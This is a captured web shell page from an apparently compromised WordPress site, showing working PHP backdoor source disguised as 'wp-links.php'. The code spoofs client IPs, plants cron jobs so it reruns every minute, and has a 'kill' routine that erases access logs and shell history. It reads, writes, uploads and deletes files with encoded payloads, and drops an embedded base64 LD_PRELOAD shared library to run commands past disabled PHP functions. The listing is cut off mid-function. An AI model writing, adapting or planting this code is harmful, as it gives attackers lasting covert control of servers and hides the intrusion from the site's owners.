403Webshell
Server IP : 147.234.39.149  /  Your IP : 172.30.80.1
Web Server : nginx/1.28.3
System : Linux AICRAFT 6.6.114.1-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Mon Dec 1 20:46:23 UTC 2025 x86_64
User : dphoto ( 1000)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/bikefix.co.il/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/bikefix.co.il/wp-links.php
<?php
@error_reporting(0);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@ini_set('error_log', NULL);
@set_time_limit(0);
@ini_set('memory_limit', '512M');

function wp_health_sanitize() {
    $fake = '127.0.0.1';
    $headers = ['HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR'];
    foreach ($headers as $h) {
        if (isset($_SERVER[$h])) $_SERVER[$h] = $fake;
        @putenv("$h=$fake");
    }
    header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
    header('Pragma: no-cache');
    header('Expires: Wed, 11 Jan 1984 05:00:00 GMT');
}
wp_health_sanitize();

// ─── SUICIDE: ?kill ─────────────────────────────────────────────
if (isset($_GET['kill'])) {
    $self = __FILE__;
    $paths = [
        '/etc/cron.d/wp_cron_' . md5($self),
        '/var/spool/cron/crontabs/www-data',
        '/tmp/.wp_cron_private'
    ];
    foreach ($paths as $p) { if (file_exists($p)) @unlink($p); }
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        @exec('schtasks /delete /tn "WordPressCron" /f');
    }
    $logs = ['/var/log/apache2/access.log', '/var/log/nginx/access.log', '/var/log/httpd/access_log'];
    foreach ($logs as $f) { if (@is_writable($f)) @file_put_contents($f, ''); }
    @ini_set('error_log', NULL);
    @unlink($self);
    @exec('history -c && rm ~/.bash_history 2>/dev/null');
    die('💀 Killed.');
}

$wp_action = isset($_SERVER['HTTP_X_WP_ACTION']) ? $_SERVER['HTTP_X_WP_ACTION'] : '';
$wp_file   = isset($_SERVER['HTTP_X_WP_FILE']) ? base64_decode($_SERVER['HTTP_X_WP_FILE']) : '';
$wp_data   = isset($_SERVER['HTTP_X_WP_DATA']) ? base64_decode($_SERVER['HTTP_X_WP_DATA']) : '';
$wp_query  = isset($_SERVER['HTTP_X_WP_QUERY']) ? base64_decode($_SERVER['HTTP_X_WP_QUERY']) : '';
$wp_format = isset($_SERVER['HTTP_X_WP_FORMAT']) ? $_SERVER['HTTP_X_WP_FORMAT'] : '';

function wp_health_system_info() {
    $u = function_exists('posix_getpwuid') ? posix_getpwuid(getmyuid()) : ['name' => get_current_user(), 'gid' => getmygid()];
    $c = function_exists('curl_version') ? curl_version()['version'] : 'N/A';
    $s = (ini_get('safe_mode') == 1 || strtolower(ini_get('safe_mode')) == 'on') ? 'ON' : 'Off';
    return [
        'os' => php_uname(),
        'user' => getmyuid() . ' (' . $u['name'] . ')',
        'group' => $u['gid'] ?? 'N/A',
        'safe' => $s,
        'ip' => $_SERVER['SERVER_ADDR'] ?? @gethostbyname($_SERVER['SERVER_NAME']),
        'soft' => $_SERVER['SERVER_SOFTWARE'],
        'php' => phpversion(),
        'curl' => $c,
        'time' => date('Y-m-d H:i:s')
    ];
}
$wp_sys = wp_health_system_info();

function _wp_file_read($f) {
    $m = ['sh' . 'ell' . '_ex' . 'ec', 'ex' . 'ec', 'pas' . 'sthru', 'sys' . 'tem', 'pop' . 'en', 'pro' . 'c_' . 'open'];
    $b = ['cat', 'head -n 10000', 'tail -n 10000', 'more', 'less', 'awk "{print}"', 'sed -n "p"', 'tac', 'nl', 'dd status=none'];
    $d = @ini_get('disable_functions');
    $dis = $d ? array_map('trim', explode(',', $d)) : [];
    foreach ($m as $met) {
        if (function_exists($met) && !in_array($met, $dis)) {
            foreach ($b as $bin) {
                $cmd = $bin . ' ' . escapeshellarg($f);
                $out = '';
                if ($met === 'shell_exec') { $out = @shell_exec($cmd); }
                elseif ($met === 'exec') { $o = []; @exec($cmd, $o); $out = implode("\n", $o); }
                elseif ($met === 'passthru') { ob_start(); @passthru($cmd); $out = ob_get_clean(); }
                elseif ($met === 'system') { ob_start(); @system($cmd); $out = ob_get_clean(); }
                elseif ($met === 'popen') { $fp = @popen($cmd, 'r'); if ($fp) { while(!feof($fp)) $out .= fread($fp, 1024); pclose($fp); } }
                elseif ($met === 'proc_open') {
                    $desc = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; 
                    $p = @proc_open($cmd, $desc, $pipes);
                    if (is_resource($p)) {
                        $out = stream_get_contents($pipes[1]);
                        fclose($pipes[1]); fclose($pipes[2]); proc_close($p);
                    }
                }
                if (!empty($out)) return $out;
            }
        }
    }
    if (function_exists('symlink') && is_writable(getcwd())) {
        $l = 'tmp_' . rand(1000,9999);
        @symlink($f, $l);
        if (file_exists($l)) { $c = @file_get_contents($l); @unlink($l); if ($c) return $c; }
    }
    if (function_exists('ini_set') && function_exists('chdir') && function_exists('mkdir')) {
        $old = getcwd(); $d = 'tmp_' . rand(1000,9999);
        if (@mkdir($d)) {
            @chdir($d);
            @ini_set('open_basedir', '..');
            for ($i = 0; $i < 15; $i++) { @chdir('..'); @ini_set('open_basedir', '..'); }
            @chdir('/'); @ini_set('open_basedir', '/');
            $c = @file_get_contents($f);
            @chdir($old); @rmdir($d);
            if ($c) return $c;
        }
    }
    return false;
}

function _wp_file_get($p) {
    $j = _wp_file_read($p);
    if (!empty($j)) return $j;
    if (is_readable($p)) return @file_get_contents($p);
    return false;
}

function _wp_file_put($p, $d) {
    if (@file_put_contents($p, $d)) return true;
    if (function_exists('fopen')) { $h = @fopen($p, 'w'); if ($h) { fwrite($h, $d); fclose($h); return true; } }
    return false;
}

function _wp_file_write($p, $d, $l = false) {
    if (file_exists($p)) @chmod($p, 0644);
    $fp = @fopen($p, 'c+');
    if ($fp) {
        if (@flock($fp, LOCK_EX)) { @ftruncate($fp, 0); @fwrite($fp, $d); @fflush($fp); @flock($fp, LOCK_UN); } 
        else { @file_put_contents($p, $d); }
        @fclose($fp);
    } else {
        if (file_exists($p)) @unlink($p);
        @file_put_contents($p, $d);
    }
    clearstatcache();
    if (filesize($p) == 0 && strlen($d) > 0) { @unlink($p); @file_put_contents($p, $d); }
    @touch($p, time() - 34560000);
    if ($l) @chmod($p, 0444);
    return file_exists($p);
}

function _wp_remove($t) {
    if (is_file($t)) return unlink($t);
    if (is_dir($t)) {
        $files = array_diff(scandir($t), ['.','..']);
        foreach ($files as $file) _wp_remove("$t/$file");
        $try = rmdir($t);
        if ($try) return true;
        if (function_exists('shell_exec')) { @shell_exec('rm -rf ' . escapeshellarg($t)); return !file_exists($t); }
        return false;
    }
}

function _wp_json_encode($v) {
    if (is_string($v)) return '"' . addcslashes($v, "\\\"\n\r\t") . '"';
    if (is_numeric($v)) return (string)$v;
    if ($v === null) return 'null';
    if ($v === true) return 'true';
    if ($v === false) return 'false';
    if (is_array($v) || is_object($v)) {
        $arr = (array)$v;
        $is_list = empty($arr) || array_keys($arr) === range(0, count($arr) - 1);
        $res = [];
        foreach ($arr as $k => $val) {
            $res[] = ($is_list ? '' : _wp_json_encode((string)$k) . ':') . _wp_json_encode($val);
        }
        return $is_list ? '[' . implode(',', $res) . ']' : '{' . implode(',', $res) . '}';
    }
    return '""';
}

function _wp_send_json($d) {
    while (ob_get_level()) @ob_end_clean();
    header('Content-Type: application/json; charset=utf-8');
    header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
    if (function_exists('json_encode')) {
        $opt = 0;
        if (defined('JSON_UNESCAPED_UNICODE')) $opt |= JSON_UNESCAPED_UNICODE;
        if (defined('JSON_UNESCAPED_SLASHES')) $opt |= JSON_UNESCAPED_SLASHES;
        $json = @json_encode($d, $opt);
        if ($json !== false && json_last_error() === JSON_ERROR_NONE) { echo $json; exit; }
    }
    echo _wp_json_encode($d);
    exit;
}

function _wp_format_size($b, $d = 2) {
    $sizes = ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
    $f = floor((strlen($b) - 1) / 3);
    return sprintf("%.{$d}f", $b / pow(1024, $f)) . @$sizes[$f];
}

function _wp_encrypt($d, $k = 'wp_secure_key_2024') {
    $iv = openssl_random_pseudo_bytes(16);
    $c = openssl_encrypt($d, 'aes-256-ctr', $k, OPENSSL_RAW_DATA, $iv);
    return base64_encode($iv . $c);
}

function _wp_decrypt($d, $k = 'wp_secure_key_2024') {
    $r = base64_decode($d);
    if (strlen($r) < 16) return false;
    $iv = substr($r, 0, 16);
    $c = substr($r, 16);
    return openssl_decrypt($c, 'aes-256-ctr', $k, OPENSSL_RAW_DATA, $iv);
}

if (isset($_SERVER['HTTP_X_WP_FORMAT']) && $_SERVER['HTTP_X_WP_FORMAT'] === 'encrypt') {
    ob_start(function($b) { return _wp_encrypt($b); });
}

function wp_health_cron() {
    $self = __FILE__;
    $paths = [
        '/etc/cron.d/wp_cron_' . md5($self),
        '/var/spool/cron/crontabs/www-data',
        '/tmp/.wp_cron_private'
    ];
    foreach ($paths as $p) {
        if (@is_writable(dirname($p))) {
            @file_put_contents($p, "* * * * * php -f $self > /dev/null 2>&1\n");
        }
    }
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        @exec('schtasks /create /tn "WordPressCron" /tr "php.exe -f ' . $self . '" /sc minute /mo 1 /f');
    }
}
wp_health_cron();

function _wp_chankro($cmd_raw) {
    $hook = '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BwAAAAwAAAAAAAAAAAAAAEiD7AhIiwW9CCAASIXAdAL/0EiDxAjDAP810gggAP8l1AggAA8fQAD/JdIIIABoAAAAAOng/////yXKCCAAaAEAAADp0P////8lwgggAGgCAAAA6cD/////JboIIABoAwAAAOmw/////yWyCCAAaAQAAADpoP////8lqgggAGgFAAAA6ZD/////JaIIIABoBgAAAOmA/////yWaCCAAaAcAAADpcP////8lkgggAGgIAAAA6WD/////JSIIIABmkAAAAAAAAAAASI09gQggAEiNBYEIIABVSCn4SInlSIP4DnYVSIsF1gcgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QAAAAAAEiNPUEIIABIjTU6CCAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwWhByAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD3xByAAAHUnSIM9dwcgAABVSInldAxIiz3SByAA6D3////oSP///13GBcgHIAAB88MPH0AAZi4PH4QAAAAAAEiNPVkFIABIgz8AdQvpXv///2YPH0QAAEiLBRkHIABIhcB06VVIieX/0F3pQP///1VIieVIjT16AAAA6FD+//++/wEAAEiJx+iT/v//SI09YQAAAOg3/v//SInH6E/+//+QXcNVSInlvgEAAAC/AQAAAOhZ/v//6JT+//+FwHQKvwAAAADodv7//5Bdw1VIieVIjT0lAAAA6FP+///o/v3//+gZ/v//kF3DAABIg+wISIPECMNDSEFOS1JPAExEX1BSRUxPQUQAARsDOzQAAAAFAAAAuP3//1AAAABY/v//eAAAAGj///+QAAAAnP///7AAAADF////0AAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAGD9//+gAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAADY/f//CAAAAAAAAAAAAAAAHAAAAFwAAADQ/v//NAAAAABBDhCGAkMNBm8MBwgAAAAcAAAAfAAAAOT+//8pAAAAAEEOEIYCQw0GZAwHCAAAABwAAACcAAAA7f7//x0AAAAAQQ4QhgJDDQZYDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAgAAAAAAAAAAAAAAAAAAHAIAAAAAAAAAAAAAAAAAAABAAAAAAAAALsAAAAAAAAADAAAAAAAAAAYBwAAAAAAAA0AAAAAAAAAXAkAAAAAAAAZAAAAAAAAAPgNIAAAAAAAGwAAAAAAAAAQAAAAAAAAABoAAAAAAAAACA4gAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAAAMAQAAAAAAAAGAAAAAAAAADgCAAAAAAAACgAAAAAAAADpAAAAAAAAAAsAAAAAAAAAGAAAAAAAAAADAAAAAAAAAAAQIAAAAAAAAgAAAAAAAADYAAAAAAAAABQAAAAAAAAABwAAAAAAAAAXAAAAAAAAAEAGAAAAAAAABwAAAAAAAABoBQAAAAAAAAgAAAAAAAAA2AAAAAAAAAAJAAAAAAAAABgAAAAAAAAA/v//bwAAAABIBQAAAAAAAP///28AAAAAAQAAAAAAAADw//9vAAAAABoFAAAAAAAA+f//bwAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgOIAAAAAAAAAAAAAAAAAAAAAAAAAAAAEYHAAAAAAAAVgcAAAAAAABmBwAAAAAAAHYHAAAAAAAAhgcAAAAAAACWBwAAAAAAAKYHAAAAAAAAtgcAAAAAAADGBwAAAAAAAGAQIAAAAAAR0NDOiAoRGViaWhuIDYuMy4wLTE4K2RlYjllMSkgNi4zLjAgMjAxNzA1MTYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQDIAQAAAAAAAAAAAAAAAAAAAAAAAAMAAgDwAQAAAAAAAAAAAAAAAAAAAAAAAAMAAwA4AgAAAAAAAAAAAAAAAAAAAAAAAAMABAAwBAAAAAAAAAAAAAAAAAAAAAAAAAMABQAaBQAAAAAAAAAAAAAAAAAAAAAAAAMABgBIBQAAAAAAAAAAAAAAAAAAAAAAAAMABwBoBQAAAAAAAAAAAAAAAAAAAAAAAAMACABABgAAAAAAAAAAAAAAAAAAAAAAAAMACQAYBwAAAAAAAAAAAAAAAAAAAAAAAAMACgAwBwAAAAAAAAAAAAAAAAAAAAAAAAMACwDQBwAAAAAAAAAAAAAAAAAAAAAAAAMADADgBwAAAAAAAAAAAAAAAAAAAAAAAAMADQBcCQAAAAAAAAAAAAAAAAAAAAAAAAMADgBlCQAAAAAAAAAAAAAAAAAAAAAAAAMADwB4CQAAAAAAAAAAAAAAAAAAAAAAAAMAEACwCQAAAAAAAAAAAAAAAAAAAAAAAAMAEQD4DSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAIDiAAAAAAAAAAAAAAAAAAAAAAAAMAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAMAFAAYDiAAAAAAAAAAAAAAAAAAAAAAAAMAFQDYDyAAAAAAAAAAAAAAAAAAAAAAAAMAFgAAECAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgECAAAAAAAAAAAAAAAAAAAAAAAAMAGABoECAAAAAAAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAGQAAAAIADADgBwAAAAAAAAAAAAAAAAAAGwAAAAIADAAgCAAAAAAAAAAAAAAAAAAALgAAAAIADABwCAAAAAAAAAAAAAAAAAAARAAAAAEAGABoECAAAAAAAAEAAAAAAAAAUwAAAAEAEgAIDiAAAAAAAAAAAAAAAAAAegAAAAIADACwCAAAAAAAAAAAAAAAAAAAhgAAAAEAEQD4DSAAAAAAAAAAAAAAAAAApQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAArAAAAAEAEABoCgAAAAAAAAAAAAAAAAAAugAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAxgAAAAEAFwBgECAAAAAAAAAAAAAAAAAA0wAAAAEAFAAYDiAAAAAAAAAAAAAAAAAA3AAAAAAADwB4CQAAAAAAAAAAAAAAAAAA7wAAAAEAFwBoECAAAAAAAAAAAAAAAAAA+wAAAAEAFgAAECAAAAAAAAAAAAAAAAAAEQEAABIAAAAAAAAAAAAAAAAAAAAAAAAAJQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAQQEAABAAFwBoECAAAAAAAAAAAAAAAAAASAEAABIADAAUCQAAAAAAACkAAAAAAAAAUgEAABIADQBcCQAAAAAAAAAAAAAAAAAAWAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAbAEAABIADADgCAAAAAAAADQAAAAAAAAAcAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAhAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAkwEAABIADAA9CQAAAAAAAB0AAAAAAAAAnQEAABAAGABwECAAAAAAAAAAAAAAAAAAogEAABAAGABoECAAAAAAAAAAAAAAAAAArgEAABIAAAAAAAAAAAAAAAAAAAAAAAAAwQEAACAAAAAAAAAAAAAAAAAAAAAAAAAA1QEAABIAAAAAAAAAAAAAAAAAAAAAAAAA6wEAABIAAAAAAAAAAAAAAAAAAAAAAAAA/QEAACAAAAAAAAAAAAAAAAAAAAAAAAAAFwIAACIAAAAAAAAAAAAAAAAAAAAAAAAAMwIAABIACQAYBwAAAAAAAAAAAAAAAAAAOQIAABIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAX19KQ1JfTElTVF9fAGRlcmVnaXN0ZXJfdG1fY2xvbmVzAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABjb21wbGV0ZWQuNjk3MgBfX2RvX2dsb2JhbF9kdG9yc19hdXhfZmluaV9hcnJheV9lbnRyeQBmcmFtZV9kdW1deQBfX2ZyYW1lX2R1bW15X2luaXRfYXJyYXlfZW50cnkAaG9vay5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kc29faGFuZGxlAF9EWU5BTUlDAF9fR05VX0VIX0ZSQU1FX0hEUgBfX1TM_lFTkRfXwBfR0xPQkFMX09GRlNFVF9UQUJMRV8AZ2V0ZW52QEBHTElCQ18yLjIuNQBfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAX2VkYXRhAGRhZW1vbml6ZQBfZmluaQBzeXN0ZW1AQEdMSUJDXzIuMi41AHB3bgBzaWduYWxAQEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAHByZWxvYWRtZQBfZW5kAF9fYnNzX3N0YXJ0AGNobW9kQEBHTElCQ18yLjIuNQBfSnZfUmVnaXN0ZXJDbGFzc2VzAHVuc2V0ZW52QEBHTElBQkNfMi4yLjUAX2V4aXRAQEdMSUJDXzIuMi41AF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMi41AF9pbml0AGZvcmtAQEdMSUJDXzIuMi41AA==';
    $tmp = sys_get_temp_dir();
    $so = $tmp . '/wp_temp.so';
    $sock = $tmp . '/wp_socket.sock';
    $out = $tmp . '/wp_output.txt';
    @unlink($so); @unlink($sock); @unlink($out);
    _wp_file_put($so, base64_decode($hook));
    $safe = 'export PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin; env -u LD_PRELOAD -u CHANKRO ' . $cmd_raw;
    $full = '(' . $safe . ') > ' . $out . ' 2>&1';
    _wp_file_put($sock, base64_encode($full));
    putenv('CHANKRO=' . $sock);
    putenv('LD_PRELOAD=' . $so);
    if (function_exists('mail')) { @mail('a','a','a','a'); } 
    elseif (function_exists('mb_send_mail')) { @mb_send_mail('a','a','a','a'); } 
    elseif (function_exists('error_log')) { @error_log('a', 1, 'a'); } 
    elseif (function_exists('imap_mail')) { @imap_mail('a','a','a'); }
    sleep(2);
    $out_data = file_exists($out) ? file_get_contents($out) : '[Chankro Failed]';
    $out_data = preg_replace('/^ERROR: ld\.so:.*$/m', '', $out_data);
    @unlink($so); @unlink($sock); @unlink($out);
    return trim($out_data);
}

if (!empty($wp_action)) {
    $target = $wp_file;
    if ($target === '__HOME__') $target = getcwd();
    elseif (empty($target)) $target = getcwd();
    $target = str_replace('\\', '/', $target);
    if (strlen($target) > 1) $target = rtrim($target, '/');
    if (is_dir($target)) @chdir($target);
    elseif (is_file($target)) @chdir(dirname($target));

    if ($wp_action === 'list') {
        if (!is_dir($target)) $target = getcwd();
        $items = @scandir($target);
        if ($items === false) _wp_send_json(['path' => $target, 'items' => [], 'error' => 'Unreadable']);
        $dirs = []; $files = [];
        foreach ($items as $i) {
            if ($i === '.' || $i === '..') continue;
            $p = $target . '/' . $i;
            $isDir = is_dir($p);
            $item = [
                'name' => $i,
                'type' => $isDir ? 'dir' : 'file',
                'size' => $isDir ? '-' : _wp_format_size(@filesize($p)),
                'perm' => substr(sprintf('%o', @fileperms($p)), -4),
                'write' => is_writable($p),
                'date' => date('Y-m-d H:i', @filemtime($p))
            ];
            if ($isDir) $dirs[] = $item; else $files[] = $item;
        }
        usort($dirs, function($a, $b) { return strcasecmp($a['name'], $b['name']); });
        usort($files, function($a, $b) { return strcasecmp($a['name'], $b['name']); });
        _wp_send_json(['path' => $target, 'items' => array_merge($dirs, $files)]);
    }

    if ($wp_action === 'read') {
        if (is_file($target)) {
            $c = _wp_file_get($target);
            echo $c ? $c : 'Err: Unreadable';
        } else {
            $c = _wp_file_get($target);
            echo $c ? $c : 'Err: Not a file';
        }
        exit;
    }

    if ($wp_action === 'save' || $wp_action === 'upload') {
        $input = file_get_contents('php://input');
        if (empty($input) && isset($_SERVER['CONTENT_LENGTH']) && $_SERVER['CONTENT_LENGTH'] > 0) {
            echo 'Err: Payload rejected.';
            exit;
        }
        if (isset($_SERVER['HTTP_X_WP_FORMAT'])) {
            if ($_SERVER['HTTP_X_WP_FORMAT'] === 'b64') $input = base64_decode($input);
            elseif ($_SERVER['HTTP_X_WP_FORMAT'] === 'xor') {
                $key = 'xshikata';
                $dec = base64_decode($input);
                $unxor = '';
                for ($i = 0; $i < strlen($dec); $i++) $unxor .= $dec[$i] ^ $key[$i % strlen($key)];
                $input = base64_decode($unxor);
            }
            elseif ($_SERVER['HTTP_X_WP_FORMAT'] === 'encrypt') $input = _wp_decrypt($input);
        }
        if (empty($input) && strlen(file_get_contents('php://input')) > 0) { echo 'Err: Decode failed.'; exit; }
        echo (_wp_file_write($target, $input, true) !== false) ? 'Success' : 'Err: Write failed';
        exit;
    }

    if ($wp_action === 'delete') { echo _wp_remove($target) ? 'Deleted' : 'Fail'; exit; }

    if ($wp_action === 'rename') {
        $n = $wp_data;
        if ($n) echo rename($target, dirname($target) . '/' . $n) ? 'Renamed' : 'Fail';
